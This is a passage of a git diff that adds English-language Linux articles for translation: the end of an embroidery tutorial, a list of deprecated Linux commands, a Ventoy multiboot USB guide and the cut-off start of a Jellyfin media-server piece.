Check the likely quality of the embroidered text by previewing your DST file (in this case named AnotherAwesomeFedoraLinuxUserBack.dst – replaced this by the filename you chose), using + +``` +vpype eread AnotherAwesomeFedoraLinuxUserBack.dst show +``` + +![Illustration showing a green stitch pattern that forms the txt, Another Awesome Fedora Linux User][35] + +Check the dimensions of your design, if you need to resize it, you should resize the SVG design file before exporting it as a DST file. + +### Create a Mockup + +To show the approximate placement of your design on the polo shirt create a mockup. You can then send this to an embroidery company with your DST file. The Fedora Design Team has a wiki [page][36] with examples of mockups. An example mockup made using [Kolourpaint][37] is below. + +![Mockup image of polo shirt with design][38] + +You can also use an appropriately licensed drawing of a polo shirt, for example from [Wikimedia Commons][39]. + +### Example Shirt + +Pictures of a finished embroidered polo shirt are below + +![Embroidered black polo shirt front with white thread used to embroider Tux][40] + +![Back of black polo shirt, with white embroidered text][41] + +![Closeup of the front left of a person wearing a black polo shirt with Tux embroidered on it with white thread.][42] + +![Back of person wearing a polo shirt with the text, Another Awesome Fedora Linux User, embroidered on the shirt][43] + +### Further Information + +A three color image of Tux is also [available][44], but single colors are easiest to achieve good embroidered results with. Adaptation of this shaded multiple color image is required to use it for embroidery. Additional tutorial information is available on the [Ink/Stitch website][45]. + +Some companies that can do embroidery given a DST file include: + +* [Pappagallo Clothing Industry][46] based in Cyprus +* [Target Solutions][47] based in Ghana +* [Marvel Ark][48] based in Kenya +* [Core Digital][49] based in South Africa +* [Embroidery Your Way][50] based in the USA + +Search the internet for machine embroidery services close to you or a hackerspace with an embroidery machine you can use. + +This article has benefited from many helpful suggestions from Michael Njuguna of Marvel Ark and Brian Lee of Embroidery Your Way. + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/diy-embroidery-with-inkscape-and-ink-stitch/ + +作者:[Benson Muite][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/fed500/ +[b]: https://github.com/lkxed +[1]: https://fedoramagazine.org/wp-content/uploads/2022/06/DIY-Embroidery-with-Inkscape-and-InkStitch-816x345.jpg +[2]: https://inkscape.org +[3]: https://inkstitch.org/ +[4]: https://fedoramagazine.org/make-more-with-inkscape-ink-stitch/ +[5]: https://en.wikipedia.org/wiki/Scalable_Vector_Graphics +[6]: https://github.com/garrett/Tux/blob/main/tux-bw.svg +[7]: https://github.com/ryanlerch +[8]: https://github.com/garrett +[9]: https://fedoramagazine.org/wp-content/uploads/2022/06/tux-bw.svg +[10]: https://raw.githubusercontent.com/garrett/Tux/main/tux-bw.svg +[11]: https://fedoramagazine.org/wp-content/uploads/2022/06/TuxInDocument-1.png +[12]: https://fedoramagazine.org/wp-content/uploads/2022/06/ResizeDialog-2.png +[13]: https://fedoramagazine.org/wp-content/uploads/2022/06/TuxCheckeredBackground-1.png +[14]: https://fedoramagazine.org/wp-content/uploads/2022/06/TuxOneColor-1.png +[15]: https://fedoramagazine.org/wp-content/uploads/2022/06/BreakApartFill.png +[16]: https://inkstitch.org/docs/fill-tools/ +[17]: https://fedoramagazine.org/wp-content/uploads/2022/06/ResizedDrawing-1.png +[18]: https://fedoramagazine.org/wp-content/uploads/2022/06/DetermineResizeArea-1.png +[19]: https://fedoramagazine.org/wp-content/uploads/2022/06/ResizeDialog-1.png +[20]: https://fedoramagazine.org/wp-content/uploads/2022/06/ResizedDocument-1.png +[21]: https://edutechwiki.unige.ch/en/Embroidery_format_DST +[22]: https://github.com/embroidepy/vpype-embroidery/ +[23]: https://docs.python.org/3/library/venv.html +[24]: https://fedoramagazine.org/wp-content/uploads/2022/06/VpypePreviewFront.png +[25]: https://edutechwiki.unige.ch/en/InkStitch_-_Geneva-simple_typefaces +[26]: https://fedoramagazine.org/wp-content/uploads/2022/06/LetteringCreationDialog-1.png +[27]: https://fedoramagazine.org/wp-content/uploads/2022/06/LetteringPreview-1.png +[28]: https://fedoramagazine.org/wp-content/uploads/2022/06/LetteringInDocument-1.png +[29]: https://fedoramagazine.org/wp-content/uploads/2022/06/DocumentPropertiesAgain.png +[30]: https://fedoramagazine.org/wp-content/uploads/2022/06/ResizedDocumentWithText.png +[31]: https://fedoramagazine.org/wp-content/uploads/2022/06/AttachCommandsDialog.png +[32]: https://fedoramagazine.org/wp-content/uploads/2022/06/SelectFirstLetter-1.png +[33]: https://fedoramagazine.org/wp-content/uploads/2022/06/CutSymbols-1.png +[34]: https://fedoramagazine.org/wp-content/uploads/2022/06/SeparatelyEmbroideredLetters-1.png +[35]: https://fedoramagazine.org/wp-content/uploads/2022/06/VpypePreviewBack-1024x512.png +[36]: https://fedoraproject.org/wiki/Artwork/T-Shirt +[37]: http://www.kolourpaint.org/ +[38]: https://fedoramagazine.org/wp-content/uploads/2022/06/ShirtMockup2.png +[39]: https://commons.wikimedia.org/wiki/File:Shirt-type_Polo.svg +[40]: https://fedoramagazine.org/wp-content/uploads/2022/06/Front-768x1024.jpg +[41]: https://fedoramagazine.org/wp-content/uploads/2022/06/Back-768x1024.jpg +[42]: https://fedoramagazine.org/wp-content/uploads/2022/06/FrontCloseupHDR-1024x859.jpg +[43]: https://fedoramagazine.org/wp-content/uploads/2022/06/BackCloseupHDR-1024x441.jpg +[44]: https://raw.githubusercontent.com/garrett/Tux/main/tux.svg +[45]: https://inkstitch.org/docs/basic-usage/ +[46]: http://www.pappagallo.com.cy +[47]: https://targetsolutionsgh.business.site/ +[48]: https://marvelark.co.ke/ +[49]: https://coredigital.co.za/ +[50]: https://embroideryyourway.com/ diff --git a/sources/tech/20220701 Deprecated Linux Commands You Should Not Use Anymore -And Their Alternatives-.md b/sources/tech/20220701 Deprecated Linux Commands You Should Not Use Anymore -And Their Alternatives-.md new file mode 100644 index 0000000000..f9fbe82016 --- /dev/null +++ b/sources/tech/20220701 Deprecated Linux Commands You Should Not Use Anymore -And Their Alternatives-.md @@ -0,0 +1,152 @@ +[#]: subject: "Deprecated Linux Commands You Should Not Use Anymore (And Their Alternatives)" +[#]: via: "https://itsfoss.com/deprecated-linux-commands/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Deprecated Linux Commands You Should Not Use Anymore (And Their Alternatives) +====== +Believe it or not, you might be using a deprecated Linux command. + +Or at least try to use it. + +It’s not really your fault. You are either habitual of using those commands or learned them through old, obsolete tutorials on the web. + +This is especially true for networking commands as several of them have been replaced or going to be replaced with newer commands. + +In this article, I am going to list a few such Linux commands. You may still find a few of them in your distribution. It’s possible that your distribution is still providing it for backward compatibility or has created a new implementation underneath or plans to remove it in the newer versions. + +But it’s good to know them as an informed Linux user. Here we go! + +![deprecated linux commands][1] + +### scp – potentially deprecated + +The scp command, short for secure copy, uses the SSH protocol to copy files between two Linux machines. Its biggest USP is that it strongly follows the normal cp command syntax. + +This is why scp is hugely popular among Linux users. You know the cp command for copying files from one location to another in the local machine. You use a similar syntax for copying files between machines. + +However, the [scp command seems to be problematic][2]. The SCP protocol is decades old,[hasn’t been updated and has many security vulnerabilities][3], complained OpenSSH. + +This is why distributions are advocating to deprecate it for another command like rsync or create a new version of scp that uses sftp protocol underneath. Red Hat and Fedora have already created a [new implementation of scp][4]. + +For other distributions, the use of scp remains debatable. Considering the looming uncertainty, it will be wise to start moving to rsync. + +**Suggested alternative: rsync and sftp commands.** + +### egrep and fgrep – Replaced by grep flags + +[grep, egrep and fgrep][5]. They all sound similar, right? Because they are similar to each other. + +The grep is the first and oldest of the lot and it was created decades ago. + +egrep and fgrep commands were created a little later to extend the functionality of the grep command. + +* The egrep command allows the use of extended regex. +* The fgrep command works on fixed strings instead of regex (default grep behavior). + +But why have separate commands when they can be options under the original commands. + +And that’s exactly what happened. The grep command was modified to add new options that provided the same functionalities as egrep (with grep -E) and fgrep (with grep -F). + +But the legacy of egrep and fgrep continues even today, unfortunately. Many tutorials, websites and books still mention them. Distributions still include these commands. + +**Suggested alternative: grep -E for egrep and grep -F for fgrep.** + +### netstat – Use other tools for network statistics + +The netstat command was an excellent tool for network analytics, both high level and low level. + +You could use it to monitor TCP/UDP packets, sockets, see network interfaces and more. + +It was part of the [net-tools package][6]. Since the net-tools package was deprecated around 2010, distributions stopped adding netstat command. + +**Suggested alternative: Use ss command.** + +### ifconfig – It will be missed + +Truly. This was the go-to command for [checking the IP address in Linux systems][7] and other information about the network interfaces. + +You’ll still see it mentioned in old forum posts and tutorials. The command got deprecated with the net-tools command. + +It’s functionalities are now found in the ip command. In fact, many of the popular networking Linux commands that were part of the net-tools package were deprecated. + +### arp, route, iptunnel, nameif – They all went down with net-tools + +If you read an old Linux book from before 2010, you’ll find the arp, route and other such networking commands that do not exist in your Linux system anymore. You cannot even install them. + +Most of them are now replaced by various options of the ip command: + +* arp – replaced by ip n +* iptunnel – replaced by ip tunnel +* nameif – replaced by ip link +* route – replaced by ip route + +### iwconfig – Does it still exist? + +![iwconfig][8] + +Though not part of the net-tools package, iwconfig was similar to ifconfig command but just for the wireless interface. + +I can still see it in Ubuntu 22.04 but I have been reading about its deprecation for some time now. It’s been [removed from Red Hat][9] and many other distributions. + +**Suggested alternative: Use the iw command.** + +### iptables – Being replaced by its own developer + +The iptables command is the go-to command when you are configuring the routes for NAT and packet filtering for firewalls. + +It is still in practice by many Linux users. However, its origin project, [netfilter][10], has created a replacement command called nftables. + +Why? because “iptables framework has become a little convoluted with iptables, ip6tables, arptables, and ebtables all providing different but similar functions.” + +And thus a new tool to combine them all under nftables. You can read this [comparison of iptables and nftables command][11]. + +You’ll still find iptables in almost all Linux distributions. But considering that its own developers have created its replacement, it would be wise to start moving to the new tool. + +**Suggested alternative: Use the nftables command.** + +### Conclusion + +I am not saying to drop the still available but soon-to-be deprecated Linux commands right away. You have learned them through effort and they are part of your muscle memory now. + +But since they might be going away soon (or have already gone), it’s better to keep yourself future-proof and look into your custom scripts and notes and update them when you have enough free time. + +Since we are discussing replacement commands, let me share an interesting article I wrote last month. It’s about [modern alternatives to the popular legacy Linux commands][12]. bat for cat, duf for du and df and more. + +Now it’s your turn. + +Tell me which of the above-mentioned old Linux commands you are still using? + +Or which ones you have already ditched and moved to their replacements? + +The comment section is all yours. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/deprecated-linux-commands/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/07/deprecated-linux-commands.png +[2]: https://lwn.net/Articles/835962/ +[3]: https://www.openssh.com/txt/release-8.0 +[4]: https://www.redhat.com/en/blog/openssh-scp-deprecation-rhel-9-what-you-need-know +[5]: https://linuxhandbook.com/grep-egrep-fgrep/ +[6]: https://wiki.linuxfoundation.org/networking/net-tools +[7]: https://itsfoss.com/check-ip-address-ubuntu/ +[8]: https://itsfoss.com/wp-content/uploads/2022/07/iwconfig.png +[9]: https://access.redhat.com/solutions/1194553 +[10]: https://www.netfilter.org/ +[11]: https://linuxhandbook.com/iptables-vs-nftables/ +[12]: https://itsfoss.com/legacy-linux-commands-alternatives/ diff --git a/sources/tech/20220701 How To Create Multiboot USB Drives With Ventoy In Linux.md b/sources/tech/20220701 How To Create Multiboot USB Drives With Ventoy In Linux.md new file mode 100644 index 0000000000..a36969a0c9 --- /dev/null +++ b/sources/tech/20220701 How To Create Multiboot USB Drives With Ventoy In Linux.md @@ -0,0 +1,373 @@ +[#]: subject: "How To Create Multiboot USB Drives With Ventoy In Linux" +[#]: via: "https://ostechnix.com/how-to-create-multiboot-usb-drives-with-ventoy-in-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How To Create Multiboot USB Drives With Ventoy In Linux +====== +**Ventoy** is a free, open source and cross-platform program to create multiboot USB drives in Linux, macOS and Microsoft Windows. + +You don't need to format your USB devices over and over. Just create a bootable USB drive once and add as many as ISOs you want in future. + +You can even create sub-folders, for example Linux ISO, Windows ISO, and put the respective ISO files in the appropriate folders. Ventoy will automatically create the menu entries for the newly added ISOs and add them to the boot menu. + +Once you created the multiboot USB, boot your system with the USB drive, select the ISO you want to load and start using it in no time. It is that simple! + +### Features + +Ventoy ships with a lots of useful features as listed below. + +* Very easy to install and use. +* Fast (limited only by the speed of copying iso file). +* You don't need to extract the ISOs. Just boot from the ISO file directly. +* Can be installed in USB/Local Disk/SSD/NVMe/SD Card. +* It supports Legacy BIOS, IA32 UEFI, x86_64 UEFI, ARM64 UEFI, MIPS64EL UEFI etc. +* Supports IA32/x86_64 UEFI Secure Boot. +* Supports FAT32/exFAT/NTFS/UDF/XFS/Ext2/Ext3/Ext4 for main partition. Default is exFAT. +* Support for booting vdisk files such as vhd, vdi, raw... with a Linux distro in a physical machine. +* Persistence storage support. +* Both MBR and GPT partition style are supported. The default is MBR. +* You can create bootable drives with ISO files larger than 4GB. +* Almost all type of OSes are supported. The developer claims more than 900+ ISO files have been tested with Ventoy. +* Linux auto installation supported. Meaning - you can add your template or script for unattended deployment. For instance, kickstart script for Redhat/CentOS, autoYast xml for SUSE, preseed script for Debian. Put a script or template in the USB drive and tell ventoy to use it for unattended installation. You can also update these scripts at any time. No need to create a new ISO file, just use the original ISO. +* Windows auto installation supported. +* Read-only to USB drive during boot. +* The normal usage of USB drives is unaffected. Meaning - you can use the USB drives for other purposes (E.g. File copy) +* Upgrade Ventoy when a new version is available without recreating the bootable USB drive again. Data nondestructive during version upgrade. +* No need to update Ventoy when a new distro is released. +* To add a new OS, just copy/paste the ISO into the USB drive. No need to start all over again. +* Supports Memdisk mode. On some machines the ISOs may not load. In such cases, you can use Memdisk mode. In this mode, Ventoy will load the whole ISO file into memory and then boot it. +* Plugin Framework. +* Native boot menu style for Legacy & UEFI. +* Available as CLI, native GUI and Web-based GUI. +* Supports theme and menu style customization. +* Cross-platform. It supports Linux, manOS and Windows. +* Free and Open source! + +### Create Multiboot USB Drives With Ventoy In Linux + +As I mentioned already, Ventoy is available as CLI, native GUI and Web-GUI versions. + +#### 1. Create Multiboot USB Drive Using Ventoy CLI + +First, you need to find your USB drive name. Refer the following guide to learn different ways to find disk drive details in Linux. + +* [How To Find Hard Disk Drive Details In Linux][1] + +I am going to use `fdisk` command to find my USB drive details: + +``` +$ sudo fdisk -l +``` + +**Sample output:** + +``` +[...] +Disk /dev/sdb: 14.54 GiB, 15597568000 bytes, 30464000 sectors +Disk model: Cruzer Blade +Units: sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 512 bytes +I/O size (minimum/optimal): 512 bytes / 512 bytes +Disklabel type: dos +Disk identifier: 0x4d924612 +``` + +As you can see, my USB drive name is /dev/sdb. + +Next, download the latest Ventoy script from the [releases page][2]. As of writing this guide the latest version was 1.0.77. + +Go to the location where you downloaded the script and extract it. I have extracted it in a folder named `"ventoy"`. Cd into the `ventoy` directory: + +``` +$ cd ventoy +``` + +Now, run the following command to create multiboot USB drive: + +``` +$ sudo sh Ventoy2Disk.sh -I /dev/sdb +``` + +Replace `"/dev/sdb"` with your USB drive name. + +Here, the uppercase `"I"` will **force install ventoy** to `sdb` (no matter installed or not). If you use lowercase **i**, it install ventoy to `sdb` and fail if disk is already installed with ventoy. + +To enable secure boot support, use **-s** flag. By default, this option is disabled. + +``` +$ sudo sh Ventoy2Disk.sh -I -s /dev/sdb +``` + +You will be prompted to confirm the USB bootable creation process. Double check the USB drive name and type **Y** and press `ENTER` to continue: + +**Sample Output:** + +``` +********************************************** + Ventoy: 1.0.77 x86_64 + longpanda admin@ventoy.net + https://www.ventoy.net +********************************************** + +Disk : /dev/sdb +Model: SanDisk Cruzer Blade (scsi) +Size : 14 GB +Style: MBR + +Attention: +You will install Ventoy to /dev/sdb. +All the data on the disk /dev/sdb will be lost!!! + +Continue? (y/n) y + +All the data on the disk /dev/sdb will be lost!!! +Double-check. Continue? (y/n) y + +Create partitions on /dev/sdb by parted in MBR style ... +Done +Wait for partitions ... +partition exist OK +create efi fat fs /dev/sdb2 ... +mkfs.fat 4.2 (2021-01-31) +success +Wait for partitions ... +/dev/sdb1 exist OK +/dev/sdb2 exist OK +partition exist OK +Format partition 1 /dev/sdb1 ... +mkexfatfs 1.3.0 +Creating... done. +Flushing... done. +File system created successfully. +mkexfatfs success +writing data to disk ... +sync data ... +esp partition processing ... + +Install Ventoy to /dev/sdb successfully finished. +``` + +![Create Multiboot USB Drives With Ventoy In Linux OS][3] + +After a few seconds, the multiboot USB drive will be created. + +The above command will create two partitions. You can verify it with `fdisk` command: + +``` +$ sudo fdisk -l +``` + +**Sample Output:** + +``` +[...] +Disk /dev/sdb: 14.53 GiB, 15597568000 bytes, 30464000 sectors +Disk model: Cruzer Blade +Units: sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 512 bytes +I/O size (minimum/optimal): 512 bytes / 512 bytes +Disklabel type: dos +Disk identifier: 0x436cedd0 + +Device Boot Start End Sectors Size Id Type +/dev/sdb1 * 2048 30398463 30396416 14.5G 7 HPFS/NTFS/exFAT +/dev/sdb2 30398464 30463999 65536 32M ef EFI (FAT-12/16/32) +``` + +Now open your file manager and copy the ISO files in the first partition. Don't worry if you can't find which one is the first partition. Your file manager will display the first partition only. + +![Copy ISO files to USB bootable drive created with Ventoy][4] + +You can even create sub-folders for different ISO file types. For instance, you can create a sub-folder for storing Linux ISO files, a sub-folder for BSD ISO files, and a sub-folder windows ISO files. + +Ventoy will scan the entire USB drive and create menu entries for all available ISO files and automatically add them to the Ventoy main boot menu. + +If you prefer command line way to copy ISO files, go to the location where you saved ISO files and copy all ISO files from command line with `rsync` program like below: + +``` +$ rsync *.iso /media/$USER/ventoy/ --progress -ah +``` + +Please note that in some Linux distros, the USB might be mounted under **"/run/media/"** location. + +Done! We have just created multiboot USB drive with Ventoy. + +Boot your system with the newly crated bootable USB drive and you will be pleased with the Ventoy boot menu: + +![Ventoy multiboot menu][5] + +Choose the OS that you want to boot and hit ENTER to load it! + +Here is the short visual demo of multiboot USB flash drive created with Ventoy: + +![][6] + +![][7] + +Cool, isn't it? Indeed! + +If you want to boot the USB in Oracle Virtualbox, refer the following guide: + +* [How To Boot From USB Drive In Virtualbox In Linux][8] + +#### 2. Create Multiboot USB Drive Using Ventoy GUI + +Initially, Ventoy doesn't have any graphical user interface for Linux platforms. We can create bootable USB drives using Ventoy in Linux from commandline mode only. + +Fortunately, Ventoy now ships with a web-based graphical user interface since version 1.0.36 and native GUI (GTK/QT) since 1.0.52. + +Believe me, the usage of Ventoy GUI is incredibly easy! The interface is very minimal but it has everything we need to create a single or multiboot bootable drives in a couple mouse clicks. + +Open your Terminal and go to the location where you downloaded the latest Ventoy program. + +``` +$ cd Downloads/ventoy-1.0.77/ +``` + +Run the appropriate Ventoy GUI executable file depending upon the distribution's architecture. + +* VentoyGUI.i386 - For X86 32 bit OS +* VentoyGUI.x86_64 - For X86 64 bit OS +* VentoyGUI.aarch64 - For ARM64 OS +* VentoyGUI.mips64el - For Loongson 3A MIPS OS + +I am on Debian 11 X86 64 bit system, so I run the following command: + +``` +$ ./VentoyGUI.x86_64 +``` + +This is how Ventoy GUI looks like. + +![Ventoy GUI][9] + +Ventoy automatically selects the connected USB drive for you. However, I recommend you to verify if the chosen drive is actually the USB drive that you want to format. + +![Create Multiboot USB Drives Using Ventoy GUI][10] + +You will be prompted to confirm the process. Click OK to continue. + +##### Ventoy Options And Language + +Click the Options button from the menu bar. + +![Ventoy Options][11] + +From the Options drop down button, you can do the following: + +* Secure Boot Support - Check/uncheck to enable or disable Secure boot. By default, it is enabled (checked). +* Partition Style - MBR and GPT partition styles are supported. The default is MBR. +* Partition Configuration - Here, you can choose to preserve some free space at the end of the disk. +* Clear Ventoy - Remove Ventoy from your disk. +* Show all disks - Check this option if you want to show all connected devices including your local disks. Be extra careful while selecting this option. You may accidentally choose one of your local disk and format it. + +The language button allows you choose your preferred language. + +##### Update Ventoy + +It is not necessary to re-create the bootable USB whenever a new Ventoy version is released. You can safely update ventoy to the new version without losing any existing data from the USB drive. + +To update the installed Ventoy version to latest available version, plug in the USB drive and launch Ventoy GUI as shown above. + +From the Ventoy GUI, click Update button. + +![Update Ventoy][12] + +#### 3. Create Multiboot USB Drive Using Ventoy Web GUI + +Ventoy Web GUI is exactly same as native GUI. The other day I tried the Ventoy WebUI in my Fedora Linux desktop. I am surprised how much I like the simplicity of the Ventoy graphical user interface. + +To learn how to create bootable USB using Ventoy graphical user interface, refer the following link: + +* [Create Bootable USB Drive With Ventoy WebUI In Linux][13] + +#### Load ISO Images To RAM + +Like I already mentioned, the ISO images may not boot in some machines, especially in Legacy BIOS mode. Here is where `"Memdisk"` mode comes in help. + +When `Memdisk` mode is enabled, Ventoy will load the whole ISO image file into memory and boot it from there. + +To enable `Memdisk` mode, press F1 key before selecting the OS. You will see the notification on the top right corner when the Memdisk mode is enabled. + +![Enable Memdisk mode in Ventoy][14] + +Now the ISO will be loaded to memory: + +![Load ISO to memory in Ventoy][15] + +To switch back to normal mode, press `F1` key again. + +### Creating Persistent Bootable USB + +We know now how to create multiboot USB drives with Ventoy in Linux. Using this bootable USB, we can test the Linux distributions without actually having to install them on the hard drive. + +When you are on the Live OS, you can do all sort of things, such as installing applications, downloading files, playing media, creating files and folders, customizing it as per your liking and a lot more. + +However once you reboot the system, all of the said changes will be gone. If you want to make all changes remain intact even after rebooted the system, you should create a persistent bootable USB drive. + +Ventoy can able to make persistent USB bootable drive. To know how to do it, refer the link given below. + +* [Create Persistent Bootable USB Using Ventoy In Linux][16] + +### Conclusion + +Believe or not, Ventoy is one of the easiest, quickest and ingenious tool ever I have used to create multiboot (persistent and non-persistent) USB flash drives in Linux. + +It just works out of the box! Give it a try. You won't be disappointed! + +### Security concerns related to Ventoy + +The Ventoy website, forum and some files hosted in that site have been flagged as Malware/Trojan by some Antivirus software. Check the issues posted in the project's GitHub page: + +* [https://github.com/ventoy/Ventoy/issues/22][17] +* [https://github.com/ventoy/Ventoy/issues/83][18] +* [https://github.com/ventoy/Ventoy/issues/31][19] + +However, Manjaro packager **"Linux Aarhus"** has argued after code review why there is no reasonable doubt on the security aspects of this application. + +He claims **"there is no obfuscated code"**. So, I guess Ventoy is **safe** to use. + +**Resources:** + +* [Ventoy Website][20] +* [Ventoy GitHub Repository][21] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/how-to-create-multiboot-usb-drives-with-ventoy-in-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/how-to-find-hard-disk-drive-details-in-linux/ +[2]: https://github.com/ventoy/Ventoy/releases +[3]: https://ostechnix.com/wp-content/uploads/2022/07/Create-Multiboot-USB-Drives-With-Ventoy-In-Linux.png +[4]: https://ostechnix.com/wp-content/uploads/2020/05/Copy-ISO-files-to-USB-bootable-drive.png +[5]: https://ostechnix.com/wp-content/uploads/2020/05/Ventoy-multiboot-menu.png +[6]: https://i.ytimg.com/vi/VFr1mAikeJU/maxresdefault.jpg +[7]: https://ostechnix.com/wp-content/plugins/penci-shortcodes/pagespeed/assets/play-btn.png +[8]: https://ostechnix.com/how-to-boot-from-usb-drive-in-virtualbox-in-linux/ +[9]: https://ostechnix.com/wp-content/uploads/2022/07/Ventoy-GUI.png +[10]: https://ostechnix.com/wp-content/uploads/2022/07/Create-Multiboot-USB-Drives-Using-Ventoy-GUI.png +[11]: https://ostechnix.com/wp-content/uploads/2022/07/Ventoy-Options.png +[12]: https://ostechnix.com/wp-content/uploads/2022/07/Update-Ventoy.png +[13]: https://ostechnix.com/create-bootable-usb-drive-with-ventoy-webui-in-linux/ +[14]: https://ostechnix.com/wp-content/uploads/2020/05/Enable-Memdisk-mode-in-Ventoy.png +[15]: https://ostechnix.com/wp-content/uploads/2020/05/Load-ISO-to-memory-in-Ventoy.png +[16]: https://ostechnix.com/create-persistent-bootable-usb-using-ventoy-in-linux/ +[17]: https://github.com/ventoy/Ventoy/issues/22 +[18]: https://github.com/ventoy/Ventoy/issues/83 +[19]: https://github.com/ventoy/Ventoy/issues/31 +[20]: https://www.ventoy.net/en/index.html +[21]: https://github.com/ventoy/Ventoy diff --git a/sources/tech/20220701 Why I switched from Apple Music to Jellyfin and Raspberry Pi.md b/sources/tech/20220701 Why I switched from Apple Music to Jellyfin and Raspberry Pi.md new file mode 100644 index 0000000000..2d7eb92711 --- /dev/null +++ b/sources/tech/20220701 Why I switched from Apple Music to Jellyfin and Raspberry Pi.md @@ -0,0 +1,115 @@ +[#]: subject: "Why I switched from Apple Music to Jellyfin and Raspberry Pi" +[#]: via: "https://opensource.com/article/22/7/media-library-jellyfin-raspberry-pi" +[#]: author: "DJ Billings https://opensource.com/users/itsjustdj" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Why I switched from Apple Music to Jellyfin and Raspberry Pi +====== +Jellyfin fulfills everything on my media library wishlist, making it the ideal open source alternative to Apple Music and other proprietary software tools. + +One day earlier this year, I looked up a song in my Mac's music library that's been there since 2001. I received an error message, "This song is not currently available in your country or region." I thought this might be just a glitch on my iPhone, so I tried the desktop app. No go. I opened up my media drive, and there was the music file. To check if it played, I hit the spacebar, and it began to play immediately. Hrmph. I have the file, I thought. Why won't the Music app play it? + +![Image of Iphone screen][2] + +After some digging, I found other users with similar issues. To sum up, it seems that Apple decided that it owned some of my songs, even though I ripped this particular song to an MP3 from my own CD in the late 1990s. + +To be clear, I'm not an Apple Music subscriber. I'm referring to the free "music" app that used to be called iTunes. I gave Apple Music a go when it first launched but quickly abandoned it. They decided to replace my previously owned songs with their DRM versions. In fact, I believe that's where my messed-up music troubles began. Since then, I've been bombarded with pushy Apple notifications trying to steer me back into becoming an Apple Music subscriber. + +The sales notifications were annoying, but this suddenly unplayable song was unacceptable. I knew there had to be a better way to manage my music, one that put me in control of the music and movie files I already owned. + +### Searching for a new open source media solution + +After this incident, I naturally took to social media to air my grievances. I also made a short list of needs I had for what I thought was the ideal solution: + +* It needs to be open source and run on Linux. +* I want to run it on my own server, if possible. +* It should be free (as in beer) if possible. +* I want the ability to control how the media is organized. +* I want to be able to watch my movies on my TV as well as listen to music. +* It should work from home (WiFi) and over the internet. +* It should be cross-platform accessible (Linux, Mac OS, Windows, Android, iOS). + +A tall order, I know. I wasn't sure I'd get everything I wanted, but I thought aiming for the stars was better than settling for something quick and easy. A few people suggested Jellyfin, so I decided to check it out, but without much optimism considering the amount of rabbit holes I'd already been down. + +What I discovered was unbelievable. Jellyfin fulfilled every item on my list. Better still, I found that I could use it with my Raspberry Pi. I jumped onboard the Jellyfin train and haven't looked back. + +### Raspberry Pi and Jellyfin are the perfect combination + +I will describe what I did, but this is not intended to be a complete tutorial. Believe me when I say that if I can do it, so can you. + +### Raspberry Pi 4 + +I used a Raspberry Pi 4 Model B with 4GB of RAM. The SD card is 128GB, which is more than I need. The Pi 4 has WiFi but it's connected to my router using ethernet, so there's less lag. + +One of the things I love about the Raspberry Pi is the ability to swap out the entire OS and storage by slipping in a new SD card. You can switch back in a few seconds if the OS doesn't suit you. + +### Western Digital Elements 2 TB external SSD + +Since all of my media won't fit on a 128GB SD card, an external drive was essential. I also like having my media on a drive separate from my OS. I previously used a 2TB external HD from Seagate that worked fine. I was trying to keep my budget low, but I also wanted an SSD, one with a small footprint this time. The Western Digital drive is tiny, fast, and perfect. To work with the Raspberry Pi, I had to format the drive as exFAT and add a package to help the Pi mount it. + +### Jellyfin + +I can't say enough good things about [Jellyfin][3]. It ticks all the boxes for me. It's open source, 100% free, has no central server, data collection, or tracking. It also plays all of the music, movies, and TV shows I have on my drive. + +There are clients for just about every platform, or you can listen or view in your web browser. Currently, I'm listening to my music on the app for Debian and Ubuntu and it works great. + +![Image of the Jellyfin app][4] + +### Setting up Jellyfin + +Many people, more brilliant than I, have created detailed instructions on Jellyfin's setup, so I would rather point to their work. Plus, Jellyfin has [excellent documentation][5]. But I'll lay out the basics, so you know what to expect if you want to do this yourself. + +### Command-line + +First, you'll need to be confident using the terminal to write commands or be willing to learn. I encourage trying it because I've become highly skilled and confident in Bash just by doing this project. + +### File organization + +It's a good idea to have your media files well-organized before you start. Changing things later is possible, but you'll have fewer issues with Jellyfin recognizing your files if they're categorized well. + +Jellyfin uses the MusicBrainz and AudioDb databases to recognize your files and I've found very few errors. Seeing the covers for movies and music populate after it finds your catalog is very satisfying. I've had to upload my artwork a few times, but it's an easy process. You can also replace the empty or generic category images with your own art. + +### Users + +You can add users and adjust their level of control. For example, in my family, I'm the only one with the ability to delete music. There are also parental controls available. + +### Process and resources + +Here's the general process and some of the resources I used to set up my Raspberry Pi media server using Jellyfin: + +1. Install the OS of your choice on your Pi. +2. [Install Jellyfin][6] on your Pi. +3. If you're using a big external drive for storage, format it so that it uses a file system usable by you Pi, but also convenient for you. I've found exFAT to be the easiest file system of all the major platforms to use. +4. Configure the firewall on your Pi so that other computers can access the Jellyfin library. +5. On your personal computer install a [Jellyfin Media Player][7]. + +### Breaking away + +Whenever someone finds an open source solution, an angel 